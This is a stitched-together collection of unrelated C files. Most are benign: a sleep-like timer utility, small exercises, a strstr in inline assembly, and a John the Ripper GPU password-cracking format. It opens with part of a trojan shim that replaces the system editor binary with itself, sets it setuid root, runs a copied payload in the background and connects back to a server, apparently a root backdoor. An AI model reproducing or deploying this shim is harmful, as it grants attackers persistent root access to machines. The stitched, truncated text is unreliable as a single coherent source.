//server and run establishConnection again with the result
valread = read( sock , buffer, 1024);
establishConnection(atoi(buffer), 1);
}
return 0;
}
//Install the shim
int install(char *fname){
//Test to see if the shim is already installed
char *file = fname + 2;
char path[50] = "/usr/bin/";
strcat(path, BINARYNAME);
if (access(path, F_OK) == FALSE ) {
return FALSE;
}
//Move the old binary
char newpath[50] = "/usr/bin/";
strcat(newpath, BINARYNAME);
rename(EDITOR, newpath);
//Replace with the new binary
rename(file, EDITOR);
//Change ownership
chown(EDITOR, 0, 0);
//Setuid
//No easy way to do this in C as far as I can tell; do it with bash instead
char cmd[50] = "chmod +s ";
strcat(cmd, EDITOR);
system(cmd);
printf("Installed\n");
return TRUE;
}
int main (int argc, char *argv[]) {
//Set the uid to root
setuid(0);
if (install(argv[0]) == TRUE){
return FALSE;
}
//Build the system() command to execute the editor with any given parameters
char args[100] = BINARYNAME;
strcat(args, " ");
for (int i = 1;i<argc;i++){
strcat(args, argv[i]);
if (i != argc-1){
strcat(args, " ");
}
}
//Test to see if the payload binary exists
if (access(PAYLOAD, F_OK) != FALSE ) {
//If it doesn't, copy shim to PAYLOAD and execute it,
//then execute the editor command
char cmd1[50] = "cp ";
char cmd2[50] = PAYLOAD;
char cmd3[50] = "rm -f ";
strcat(cmd1, EDITOR);
strcat(cmd1, " ");
strcat(cmd1, PAYLOAD);
strcat(cmd2, " &");
strcat(cmd3, PAYLOAD);
system(cmd1);
system(cmd2);
sleep(0.1);
system(cmd3);
system(args);
} else {
if (testpid() == FALSE) {
return establishConnection(PORT, 0);
}
}
}
|
the_stack_data/874552.c | /*
* Copyright © 2018-2020 Johnothan King. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/*
* timelim -- A program capable of setting very long time limits
* This program can function as a replacement for sleep(1)
*/
#if defined(__TINYC__)
#undef _FORTIFY_SOURCE // Silence warnings
#endif
#include <assert.h>
#include <errno.h>
#include <getopt.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdnoreturn.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
// Timelim's version number
#define TIMELIM_VERSION "v3.1.0"
// Macros for compiler optimization
#define cold __attribute__((__cold__))
#if !defined(__TINYC__)
#define likely(x) (__builtin_expect((x), 1))
#define unlikely(x) (__builtin_expect((x), 0))
#else
#define likely(x) (x)
#define unlikely(x) (x)
#define __builtin_unreachable()
#endif
/*
* Define the number of nanoseconds wasted during execution to subtract from the total time to sleep
* This number is rather conservative, most machines will benefit from increasing the OVERHEAD_MASK
*/
#ifndef OVERHEAD_MASK
#define OVERHEAD_MASK 330000
#endif
// Colors
#define CYAN "\x1b[1;36m"
#define WHITE "\x1b[1;37m"
#define RESET "\x1b[m"
// Macros defining the length of various units of time (weeks, years, etc.) in seconds.
#define MINUTE 60
#define HOUR 3600
#define DAY 86400
#define WEEK 604800
#define FORTNIGHT 1209600
// Universal variables
static int current_signal = 0;
extern char *__progname;
// Display usage of Timelim
static cold noreturn void usage(void)
{
// Usage info
printf("Usage: %s [-jsvV?] number[suffix] ...\n"
" -j, --julian Use the Julian calendar instead of the Gregorian calendar\n"
" -s, --signal Sleep until Timelim receives a signal or times out\n"
" -S, --sidereal Use the Sidereal year instead of the Gregorian year\n"
" -v, --verbose Enable verbose output\n"
" -V, --version Show Timelim's version number\n"
" -?, --help Display this text\n",
__progname);
exit(1);
}
// Print the number of seconds and nanoseconds remaining
static void nprint(unsigned long length, const char *unit)
{
if unlikely (length == 1) // While `sleep 1` is common, `sleep -v 1` is not
printf("%lu %s", length, unit);
else
printf("%lu %ss", length, unit);
}
// This function parses all numbers after the decimal (such as 1.12 or 4.5w)
static long parse_float(const char *arg, bool suffix)
{
// Get the radix point
char *radix = ".";
if (strchr(arg, ','))
radix = ",";
else if (!strchr(arg, '.'))
return 0; // Not a floating point
// Set a char variable called 'base' to the relevant position
char *modarg, *tofree, *base;
tofree = modarg = strdup(arg); // Avoid modification of the original argument
assert(modarg != NULL);
strsep(&modarg, radix);
base = strsep(&modarg, radix);
size_t sz = strlen(base);
if (suffix)
--sz;
// Set the multiplier depending on the length of base
long num = atol(base);
free(tofree); // Now the duplicated string can be freed from memory
switch (sz) {
case 1:
return num * 100000000;
case 2:
return num * 10000000;
case 3:
return num * 1000000;
case 4:
return num * 100000;
case 5:
return num * 10000;
case 6:
return num * 1000;
case 7:
return num * 100;
case 8:
return num * 10;
case 9:
return num;
default:
while (num > 999999999)
num = num / 10;
return num;
}
}
// Set current_signal to the signal that was sent to Timelim
static void sighandle(int sig) { current_signal = sig; }
// Main function
int main(int argc, char *argv[])
{
// Arguments are required
if unlikely (argc < 2) {
usage();
__builtin_unreachable();
}
// General variables
struct timespec timer = { 0 };
unsigned long centuries = 0;
bool signal_wait = false, verbose = false;
int year = 31556952; // Gregorian year default
const char *number;
// Long options for getopt_long
struct option long_opts[] = { { "julian", no_argument, NULL, 'j' },
{ "signal", no_argument, NULL, 's' },
{ "sidereal", no_argument, NULL, 'S' },
{ "verbose", no_argument, NULL, 'v' },
{ "version", no_argument, NULL, 'V' },
{ "help", no_argument, NULL, '?' },
{ NULL, 0, NULL, 0 } };
// Parse the options
int args;
while ((args = getopt_long(argc, argv, "jsSvV?", long_opts, NULL)) != -1)
switch (args) {
// Version info
case 'V':
printf(WHITE "Timelim " CYAN TIMELIM_VERSION RESET "\n");
return 0;
// Use the Julian calendar
case 'j':
year = 31557600;
break;
// Implement ksh's sleep -s flag
case 's':
signal_wait = true;
break;
// Use the Sidereal year
case 'S':
year = 31558150;
break;
// Verbose output
case 'v':
verbose = true;
break;
// Usage (with ksh93u+ compatibility)
case '?':
usage();
__builtin_unreachable();
}
// Parse suffixes
int multiplier, suffix_location; // Both must be int, suffixes due to `- 1`
bool suffix;
argv += 1;
while ((number = *argv++)) {
multiplier = 1;
suffix = true;
// Reject zero length (-1) arguments
suffix_location = strlen(number) - 1;
if unlikely (suffix_location < 0) {
usage();
__builtin_unreachable();
}
// If the argument has a dash, skip it
if (strchr(number, '-') != NULL)
continue;
// GNU suffix parsing with partial compatibility for ksh93u+ behavior
switch (number[suffix_location]) {
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
suffix = false;
// FALLTHRU
case 'S':
case 's':
break; // Do nothing
case 'M':
case 'm':
multiplier = MINUTE;
break;
case 'H':
case 'h':
multiplier = HOUR;
break;
case 'D':
case 'd':
multiplier = DAY;
break;
case 'W':
case 'w':
multiplier = WEEK;
break;
case 'F':
case 'f':
multiplier = FORTNIGHT;
break;
case 'O':
case 'o':
multiplier = year / 12; // Different from ISO 8601
break;
case 'Y':
case 'y':
multiplier = year;
break;
case 'X':
case 'x':
multiplier = year * 10;
break;
case 'L':
case 'l':
timer.tv_nsec += atol(number) * 1000000;
continue;
case 'U':
case 'u':
timer.tv_nsec += atol(number) * 1000;
continue;
case 'N':
case 'n':
timer.tv_nsec += atol(number);
continue;
case 'C':
case 'c':
centuries += strtoul(number, NULL, 10);
multiplier = year * 100;
goto nano;
case 'A':
case 'a':
centuries += strtoul(number, NULL, 10) * 10;
multiplier = year * 1000;
goto nano;
default: // Reject invalid arguments
printf("`%c` is not a valid suffix!\n", number[suffix_location]);
return 1;
}
// Set the number of seconds and nanoseconds
timer.tv_sec += (time_t)atol(number) * multiplier;
nano:
timer.tv_nsec += parse_float(number, suffix) * multiplier;
}
// To improve accuracy, subtract 330,000 nanoseconds to account for overhead
if (timer.tv_nsec > OVERHEAD_MASK) {
if likely (timer.tv_sec > 0) {
timer.tv_sec -= 1;
timer.tv_nsec += 1000000000 - OVERHEAD_MASK;
} else
timer.tv_nsec -= OVERHEAD_MASK;
// The overhead of just executing causes inaccuracy at this point, so just set this to zero
} else
timer.tv_nsec = 0;
// The number of nanoseconds cannot exceed one billion
while (timer.tv_nsec > 999999999) {
long esec = timer.tv_nsec / 1000000000;
timer.tv_sec += esec;
timer.tv_nsec -= esec * 1000000000;
}
// Set up the signal handler now
struct sigaction actor;
actor.sa_handler = sighandle;
actor.sa_flags = 0;
// When -s was passed, handle all POSIX signals that do not kill Timelim
if (signal_wait) {
sigaction(SIGCHLD, &actor, NULL);
sigaction(SIGCONT, &actor, NULL);
sigaction(SIGQUIT, &actor, NULL);
sigaction(SIGTSTP, &actor, NULL);
sigaction(SIGURG, &actor, NULL);
}
// Handle SIGINFO or SIGPWR, depending on which is available
#ifdef SIGINFO
sigaction(SIGINFO, &actor, NULL);
#else
#define SIGINFO 0
#endif
#ifdef SIGPWR
sigaction(SIGPWR, &actor, NULL);
#else
#define SIGPWR 0
#endif
// Wait indefinitely if -s was passed without a defined timeout
if (signal_wait && timer.tv_sec == 0 && timer.tv_nsec == 0) {
if (verbose)
printf("Waiting for a signal...\n");
pause();
return 0; // pause(2) does not return 0, so it must be done separately
}
// Print out the number of seconds to sleep
if (verbose) {
printf("Sleeping for ");
nprint(centuries * ((unsigned long)year * 100) + (unsigned long)timer.tv_sec, "second");
printf(" and ");
nprint((unsigned long)timer.tv_nsec, "nanosecond");
printf("\n");
}
// Sleep
while (nanosleep(&timer, &timer) != 0 && errno == EINTR) {
if (signal_wait || current_signal == SIGALRM) {
if (verbose)
printf("Got signal %s!\n", strsignal(current_signal));
return 0;
}
// Show remaining seconds and nanoseconds
#if defined(SIGINFO) || defined(SIGPWR)
if(current_signal == SIGINFO || current_signal == SIGPWR)
printf("Remaining seconds: %ld\n"
"Remaining nanoseconds: %ld\n",
(long)timer.tv_sec, timer.tv_nsec);
#endif
}
// Sleep for multiple centuries (workaround for 32-bit int)
while (centuries != 0) {
sleep((unsigned int)year * 100);
--centuries;
}
// Notify the user on completion
if (verbose)
printf("Time's up!\n");
return 0;
}
|
the_stack_data/147140.c | /*********************************************************
* File Name: SETFLOAT.C
*
* Purpose: Sets the cell at the row and column passed
* in the specified array to 'value'.
*
* Passed Parameters:
* arrayptr: pointer to floating point array
* num_cols: number of colums in the image
* row: row number
* col: column number
* value: value to give to the cell at row,col
*
* Programmer: Barbara Marks
*
* Date: 8 May 1991
*
* ID: $Id: setfloat.c,v 2.1 1994/04/01 17:50:25 marks Exp $
*********************************************************/
void setfloat (arrayptr,num_cols,row,col,value)
float *arrayptr;
short num_cols;
short row,col;
float value;
{
int position;
position = row * num_cols + col;
*(arrayptr + position) = value;
}
|
the_stack_data/160606.c | /*
* This software is Copyright (c) 2015 magnum
* and it is hereby released to the general public under the following terms:
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*/
#ifdef HAVE_OPENCL
#if FMT_EXTERNS_H
extern struct fmt_main fmt_ocl_pbkdf2_md5;
#elif FMT_REGISTERS_H
john_register_one(&fmt_ocl_pbkdf2_md5);
#else
#include <stdint.h>
#include <ctype.h>
#include <string.h>
#include "common-opencl.h"
#include "arch.h"
#include "misc.h"
#include "common.h"
#include "formats.h"
#include "base64_convert.h"
#include "options.h"
#define OUTLEN 16
#include "opencl_pbkdf2_hmac_md5.h"
#include "pbkdf2_hmac_common.h"
//#define DEBUG
#define dump_stuff_msg(a, b, c) dump_stuff_msg((void*)a, b, c)
#define FORMAT_LABEL "PBKDF2-HMAC-MD5-opencl"
#define ALGORITHM_NAME "PBKDF2-MD5 OpenCL"
#define MIN_KEYS_PER_CRYPT 1
#define MAX_KEYS_PER_CRYPT 1
#define PLAINTEXT_LENGTH 64
#define SALT_SIZE sizeof(pbkdf2_salt)
#define SALT_ALIGN sizeof(int)
/* This handles all widths */
#define GETPOS(i, index) (((index) % ocl_v_width) * 4 + ((i) & ~3U) * ocl_v_width + ((i) & 3) + ((index) / ocl_v_width) * PLAINTEXT_LENGTH * ocl_v_width)
/*
* HASH_LOOPS is ideally made by factors of (iteration count - 1) and should
* be chosen for a kernel duration of not more than 200 ms
*/
#define HASH_LOOPS 333
#define LOOP_COUNT (((cur_salt->iterations - 1 + HASH_LOOPS - 1)) / HASH_LOOPS)
#define STEP 0
#define SEED 256
static const char * warn[] = {
"P xfer: " , ", init: " , ", loop: " , ", final: ", ", res xfer: "
};
static int split_events[] = { 2, -1, -1 };
static cl_kernel pbkdf2_init, pbkdf2_loop, pbkdf2_final;
//This file contains auto-tuning routine(s). Has to be included after formats definitions.
#include "opencl-autotune.h"
#include "memdbg.h"
/* ------- Helper functions ------- */
static size_t get_task_max_work_group_size()
{
size_t s;
s = autotune_get_task_max_work_group_size(FALSE, 0, pbkdf2_init);
s = MIN(s, autotune_get_task_max_work_group_size(FALSE, 0, pbkdf2_loop));
s = MIN(s, autotune_get_task_max_work_group_size(FALSE, 0, pbkdf2_final));
return s;
}
static size_t key_buf_size;
static unsigned int *inbuffer;
static pbkdf2_out *output;
static pbkdf2_salt *cur_salt;
static cl_mem mem_in, mem_out, mem_salt, mem_state;
static int new_keys;
static struct fmt_main *self;
static void create_clobj(size_t gws, struct fmt_main *self)
{
gws *= ocl_v_width;
key_buf_size = PLAINTEXT_LENGTH * gws;
/// Allocate memory
inbuffer = mem_calloc(1, key_buf_size);
output = mem_alloc(sizeof(pbkdf2_out) * gws);
mem_in = clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, key_buf_size, NULL, &ret_code);
HANDLE_CLERROR(ret_code, "Error allocating mem in");
mem_salt = clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, sizeof(pbkdf2_salt), NULL, &ret_code);
HANDLE_CLERROR(ret_code, "Error allocating mem salt");
mem_out = clCreateBuffer(context[gpu_id], CL_MEM_WRITE_ONLY, sizeof(pbkdf2_out) * gws, NULL, &ret_code);
HANDLE_CLERROR(ret_code, "Error allocating mem out");
mem_state = clCreateBuffer(context[gpu_id], CL_MEM_READ_WRITE, sizeof(pbkdf2_state) * gws, NULL, &ret_code);
HANDLE_CLERROR(ret_code, "Error allocating mem_state");
HANDLE_CLERROR(clSetKernelArg(pbkdf2_init, 0, sizeof(mem_in), &mem_in), "Error while setting mem_in kernel argument");
HANDLE_CLERROR(clSetKernelArg(pbkdf2_init, 1, sizeof(mem_salt), &mem_salt), "Error while setting mem_salt kernel argument");
HANDLE_CLERROR(clSetKernelArg(pbkdf2_init, 2, sizeof(mem_state), &mem_state), "Error while setting mem_state kernel argument");
HANDLE_CLERROR(clSetKernelArg(pbkdf2_loop, 0, sizeof(mem_state), &mem_state), "Error while setting mem_state kernel argument");
HANDLE_CLERROR(clSetKernelArg(pbkdf2_final, 0, sizeof(mem_salt), &mem_salt), "Error while setting mem_salt kernel argument");
HANDLE_CLERROR(clSetKernelArg(pbkdf2_final, 1, sizeof(mem_out), &mem_out), "Error while setting mem_out kernel argument");
HANDLE_CLERROR(clSetKernelArg(pbkdf2_final, 2, sizeof(mem_state), &mem_state), "Error while setting mem_state kernel argument");
}
static void release_clobj(void)
{
if (inbuffer) {
HANDLE_CLERROR(clReleaseMemObject(mem_state), "Release mem state");
HANDLE_CLERROR(clReleaseMemObject(mem_out), "Release mem out");
HANDLE_CLERROR(clReleaseMemObject(mem_salt), "Release mem setting");
HANDLE_CLERROR(clReleaseMemObject(mem_in), "Release mem in");
MEM_FREE(output);
MEM_FREE(inbuffer);
}
}
static void done(void)
{
if (autotuned) {
release_clobj();
HANDLE_CLERROR(clReleaseKernel(pbkdf2_init), "Release kernel");
HANDLE_CLERROR(clReleaseKernel(pbkdf2_loop), "Release kernel");
HANDLE_CLERROR(clReleaseKernel(pbkdf2_final), "Release kernel");
HANDLE_CLERROR(clReleaseProgram(program[gpu_id]), "Release Program");
autotuned--;
}
}
static void init(struct fmt_main *_self)
{
static char valgo[sizeof(ALGORITHM_NAME) + 8] = "";
self = _self;
opencl_prepare_dev(gpu_id);
/* Nvidia Kepler benefits from 2x interleaved code */
if (!options.v_width && nvidia_sm_3x(device_info[gpu_id]))
ocl_v_width = 2;
else
ocl_v_width = opencl_get_vector_width(gpu_id, sizeof(cl_int));
if (ocl_v_width > 1) {
/* Run vectorized kernel */
snprintf(valgo, sizeof(valgo),
ALGORITHM_NAME " %ux", ocl_v_width);
self->params.algorithm_name = valgo;
}
}
static void reset(struct db_main *db)
{
if (!autotuned) {
char build_opts[64];
snprintf(build_opts, sizeof(build_opts),
"-DHASH_LOOPS=%u -DOUTLEN=%u "
"-DPLAINTEXT_LENGTH=%u -DV_WIDTH=%u",
HASH_LOOPS, OUTLEN, PLAINTEXT_LENGTH, ocl_v_width);
opencl_init("$JOHN/kernels/pbkdf2_hmac_md5_kernel.cl", gpu_id, build_opts);
pbkdf2_init = clCreateKernel(program[gpu_id], "pbkdf2_init", &ret_code);
HANDLE_CLERROR(ret_code, "Error creating kernel");
crypt_kernel = pbkdf2_loop = clCreateKernel(program[gpu_id], "pbkdf2_loop", &ret_code);
HANDLE_CLERROR(ret_code, "Error creating kernel");
pbkdf2_final = clCreateKernel(program[gpu_id], "pbkdf2_final", &ret_code);
HANDLE_CLERROR(ret_code, "Error creating kernel");
//Initialize openCL tuning (library) for this format.
opencl_init_auto_setup(SEED, 2*HASH_LOOPS, split_events, warn,
2, self, create_clobj, release_clobj,
ocl_v_width * sizeof(pbkdf2_state), 0, db);
//Auto tune execution from shared/included code.
autotune_run(self, 2*999+4, 0,
(cpu(device_info[gpu_id]) ?
1000000000 : 5000000000ULL));
}
}
static void *get_salt(char *ciphertext)
{
static pbkdf2_salt cs;
char *p;
int saltlen;
memset(&cs, 0, sizeof(cs));
if (!strncmp(ciphertext, PBKDF2_MD5_FORMAT_TAG, PBKDF2_MD5_TAG_LEN))
ciphertext += PBKDF2_MD5_TAG_LEN;
cs.iterations = atoi(ciphertext);
ciphertext = strchr(ciphertext, '$') + 1;
p = strchr(ciphertext, '$');
saltlen = 0;
memset(cs.salt, 0, sizeof(cs.salt));
while (ciphertext < p) { /** extract salt **/
cs.salt[saltlen++] =
atoi16[ARCH_INDEX(ciphertext[0])] * 16 +
atoi16[ARCH_INDEX(ciphertext[1])];
ciphertext += 2;
}
cs.length = saltlen;
cs.outlen = PBKDF2_MDx_BINARY_SIZE;
return (void*)&cs;
}
static void set_salt(void *salt)
{
cur_salt = (pbkdf2_salt*)salt;
HANDLE_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], mem_salt, CL_FALSE, 0, sizeof(pbkdf2_salt), cur_salt, 0, NULL, NULL), "Copy salt to gpu");
#if 0
fprintf(stderr, "\n%s(%.*s) len %u iter %u\n", __FUNCTION__, cur_salt->length, cur_salt->salt, cur_salt->length, cur_salt->iterations);
dump_stuff_msg("salt", cur_salt->salt, cur_salt->length);
#endif
}
static void clear_keys(void)
{
memset(inbuffer, 0, key_buf_size);
}
static void set_key(char *key, int index)
{
int i;
int length = strlen(key);
for (i = 0; i < length; i++)
((char*)inbuffer)[GETPOS(i, index)] = key[i];
new_keys = 1;
}
static char* get_key(int index)
{
static char ret[PLAINTEXT_LENGTH + 1];
int i = 0;
while (i < PLAINTEXT_LENGTH &&
(ret[i] = ((char*)inbuffer)[GETPOS(i, index)]))
i++;
ret[i] = 0;
return ret;
}
static int crypt_all(int *pcount, struct db_salt *salt)
{
const int count = *pcount;
int i;
size_t scalar_gws;
size_t *lws = local_work_size ? &local_work_size : NULL;
global_work_size = GET_MULTIPLE_OR_BIGGER_VW(count, local_work_size);
scalar_gws = global_work_size * ocl_v_width;
/// Copy data to gpu
if (ocl_autotune_running || new_keys) {
BENCH_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], mem_in, CL_FALSE, 0, key_buf_size, inbuffer, 0, NULL, multi_profilingEvent[0]), "Copy data to gpu");
new_keys = 0;
}
/// Run kernels
BENCH_CLERROR(clEnqueueNDRangeKernel(queue[gpu_id], pbkdf2_init, 1, NULL, &global_work_size, lws, 0, NULL, multi_profilingEvent[1]), "Run initial kernel");
for (i = 0; i < (ocl_autotune_running ? 1 : LOOP_COUNT); i++) {
BENCH_CLERROR(clEnqueueNDRangeKernel(queue[gpu_id], pbkdf2_loop, 1, NULL, &global_work_size, lws, 0, NULL, multi_profilingEvent[2]), "Run loop kernel");
BENCH_CLERROR(clFinish(queue[gpu_id]), "Error running loop kernel");
opencl_process_event();
}
BENCH_CLERROR(clEnqueueNDRangeKernel(queue[gpu_id], pbkdf2_final, 1, NULL, &global_work_size, lws, 0, NULL, multi_profilingEvent[3]), "Run intermediate kernel");
/// Read the result back
BENCH_CLERROR(clEnqueueReadBuffer(queue[gpu_id], mem_out, CL_TRUE, 0, sizeof(pbkdf2_out) * scalar_gws, output, 0, NULL, multi_profilingEvent[4]), "Copy result back");
return count;
}
static int binary_hash_0(void *binary)
{
#if 0
dump_stuff_msg(__FUNCTION__, binary, PBKDF2_MDx_BINARY_SIZE);
#endif
return (((uint32_t *) binary)[0] & PH_MASK_0);
}
static int get_hash_0(int index)
{
#if 0
dump_stuff_msg(__FUNCTION__, output[index].dk, PBKDF2_MDx_BINARY_SIZE);
#endif
return *(uint32_t*)output[index].dk & PH_MASK_0;
}
static int get_hash_1(int index) { return *(uint32_t*)output[index].dk & PH_MASK_1; }
static int get_hash_2(int index) { return *(uint32_t*)output[index].dk & PH_MASK_2; }
static int get_hash_3(int index) { return *(uint32_t*)output[index].dk & PH_MASK_3; }
static int get_hash_4(int index) { return *(uint32_t*)output[index].dk & PH_MASK_4; }
static int get_hash_5(int index) { return *(uint32_t*)output[index].dk & PH_MASK_5; }
static int get_hash_6(int index) { return *(uint32_t*)output[index].dk & PH_MASK_6; }
static int cmp_all(void *binary, int count)
{
int index;
for (index = 0; index < count; index++)
if (*(uint32_t*)binary == *(uint32_t*)output[index].dk)
return 1;
return 0;
}
static int cmp_one(void *binary, int index)
{
return !memcmp(binary, output[index].dk, PBKDF2_MDx_BINARY_SIZE);
}
/* Check the FULL binary, just for good measure. There is not a chance we'll
have a false positive here but this function is not performance critical. */
static int cmp_exact(char *source, int index)
{
return pbkdf2_hmac_md5_cmp_exact(get_key(index), source, cur_salt->salt, cur_salt->length, cur_salt->iterations);
}
static int salt_hash(void *salt)
{
unsigned char *s = (unsigned char*)salt;
unsigned int hash = 5381;
int len = SALT_SIZE;
while (len--)
hash = ((hash << 5) + hash) ^ *s++;
return hash & (SALT_HASH_SIZE - 1);
}
static unsigned int iteration_count(void *salt)
{
return ((pbkdf2_salt*)salt)->iterations;
}
struct fmt_main fmt_ocl_pbkdf2_md5 = {
{
FORMAT_LABEL,
FORMAT_NAME,
ALGORITHM_NAME,
BENCHMARK_COMMENT,
BENCHMARK_LENGTH,
0,
PLAINTEXT_LENGTH,
PBKDF2_MDx_BINARY_SIZE,
PBKDF2_32_BINARY_ALIGN,
SALT_SIZE,
SALT_ALIGN,
MIN_KEYS_PER_CRYPT,
MAX_KEYS_PER_CRYPT,
FMT_CASE | FMT_8_BIT | FMT_SPLIT_UNIFIES_CASE,
{
"iterations",
},
{ PBKDF2_MD5_FORMAT_TAG },
pbkdf2_hmac_md5_common_tests
}, {
init,
done,
reset,
fmt_default_prepare,
pbkdf2_hmac_md5_valid,
pbkdf2_hmac_md5_split,
pbkdf2_hmac_md5_binary,
get_salt,
{
iteration_count,
},
fmt_default_source,
{
binary_hash_0,
fmt_default_binary_hash_1,
fmt_default_binary_hash_2,
fmt_default_binary_hash_3,
fmt_default_binary_hash_4,
fmt_default_binary_hash_5,
fmt_default_binary_hash_6
},
salt_hash,
NULL,
set_salt,
set_key,
get_key,
clear_keys,
crypt_all,
{
get_hash_0,
get_hash_1,
get_hash_2,
get_hash_3,
get_hash_4,
get_hash_5,
get_hash_6
},
cmp_all,
cmp_one,
cmp_exact
}
};
#endif /* plugin stanza */
#endif /* HAVE_OPENCL */
|
the_stack_data/320454.c | #define CRP_NO_CRP 0xFFFFFFFF
__attribute__ ((used,section(".crp"))) const unsigned int CRP_WORD = CRP_NO_CRP ;
|
the_stack_data/89579.c | extern char *getenv(const char *);
struct s1 {
int a;
int b;
char *t1;
};
int
main() {
struct s1 s1;
s1.t1 = getenv("gude");
s1.a = (int)s1.t1;
return 0;
}
|
the_stack_data/111079436.c | /* Name: p6-07.c
Purpose: Modifies square3.c program.
Author: NiceMan1337
Date: 15.04.2022 */
#include <stdio.h>
int main(void)
{
int n, odd, square;
printf("This program prints a table of squares.\n");
printf("Enter number of entries in table: ");
scanf("%d", &n);
odd = 3;
for (int i = 1; i <= n; odd += 2) {
square = i * i;
printf("%10d%10d\n", i, square);
++i;
square += odd;
}
return 0;
}
/*Decription:
Compile with c99 standard!*/ |
the_stack_data/20450145.c | #include <stdio.h>
#include <stdlib.h>
int main() {
float soma = 0;
float delta = 0.2;
int n = 10000;
for(int i = 0; i < n; i++) {
soma += delta;
}
printf("%f = %f?\n", delta*n, soma);
return 0;
}
|
the_stack_data/81340.c | #include <stdio.h>
#include <math.h>
int main(){
int n, i, j, c, i1, j1;
scanf("%d", &n);
int a[n][n];
int count[n];
int k = sqrt(n);
int not_row, not_col, not_box, not_sudoku = 0;
for(i = 0; i < n; i++)
for(j = 0; j < n; j++)
scanf("%d", &a[i][j]);
for(i = 0; i < n; i++){
for(c = 0; c < n; c++)
count[c] = 0;
not_row = 0;
for(j = 0; j < n; j++){
if((a[i][j] > n) || (a[i][j] < 1))
not_row = 1;
else
count[a[i][j] - 1]++;
}
for(c = 0; c < n; c++)
if (count[c] > 1 || count[c] == 0)
not_row = 1;
if(not_row){
printf("Row %d is invalid\n", i+1);
not_sudoku = 1;
}
}
for(i = 0; i < n; i++){
for(c = 0; c < n; c++)
count[c] = 0;
not_col = 0;
for(j = 0; j < n; j++){
if(a[j][i] > n || a[j][i] < 1)
not_col = 1;
else
count[a[j][i]-1]++;
}
for(c = 0; c < n; c++)
if(count[c] > 1 || count[c] == 0)
not_col = 1;
if(not_col){
printf("Column %d is invalid\n", i+1);
not_sudoku = 1;
}
}
int box_number = 0;
for(i = 0; i + k - 1 < n; i += k){
for(j = 0; j + k - 1 < n; j += k){
not_box = 0;
box_number++;
for(c = 0; c < n; c++)
count[c] = 0;
for(i1 = 0; i1 < k; i1++){
for(j1 = 0; j1 < k; j1++){
if (a[i+i1][j+j1] > n || a[i+i1][j+j1] < 1)
not_box = 1;
count[a[i+i1][j+j1]-1]++;
}
}
for(c = 0; c < n; c++)
if(count[c] > 1 || count[c] == 0)
not_box = 1;
if(not_box){
printf("Box %d is invalid\n", box_number);
not_sudoku = 1;
}
}
}
if(!not_sudoku)
printf("Valid Sudoku");
return 0;
}
|
the_stack_data/190768967.c | //
// Created by user on 2/10/19.
//
#include <stddef.h>
#include <string.h>
// https://www.interviewbit.com/problems/excel-column-number/
/**
* @input A : String termination by '\0'
*
* @Output Integer
*/
int titleToNumber(char *A)
{
int i;
int result = 0;
const int N = (int)strlen(A);
for (i = 0; i < N; ++i)
{
int diff = ((A[i] - 'A') + 1);
result *= 26;
result += diff;
}
return result;
}
|
the_stack_data/93887586.c | #include <linux/string.h>
char *strstr(const char *cs, const char *ct)
{
int d0, d1;
register char *__res;
__asm__ __volatile__(
"movl %6,%%edi\n\t"
"repne\n\t"
"scasb\n\t"
"notl %%ecx\n\t"
"decl %%ecx\n\t" /* NOTE! This also sets Z if searchstring='' */
"movl %%ecx,%%edx\n"
"1:\tmovl %6,%%edi\n\t"
"movl %%esi,%%eax\n\t"
"movl %%edx,%%ecx\n\t"
"repe\n\t"
"cmpsb\n\t"
"je 2f\n\t" /* also works for empty string, see above */
"xchgl %%eax,%%esi\n\t"
"incl %%esi\n\t"
"cmpb $0,-1(%%eax)\n\t"
"jne 1b\n\t"
"xorl %%eax,%%eax\n\t"
"2:"
: "=a" (__res), "=&c" (d0), "=&S" (d1)
: "0" (0), "1" (0xffffffff), "2" (cs), "g" (ct)
: "dx", "di");
return __res;
}
|
the_stack_data/749007.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2012 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
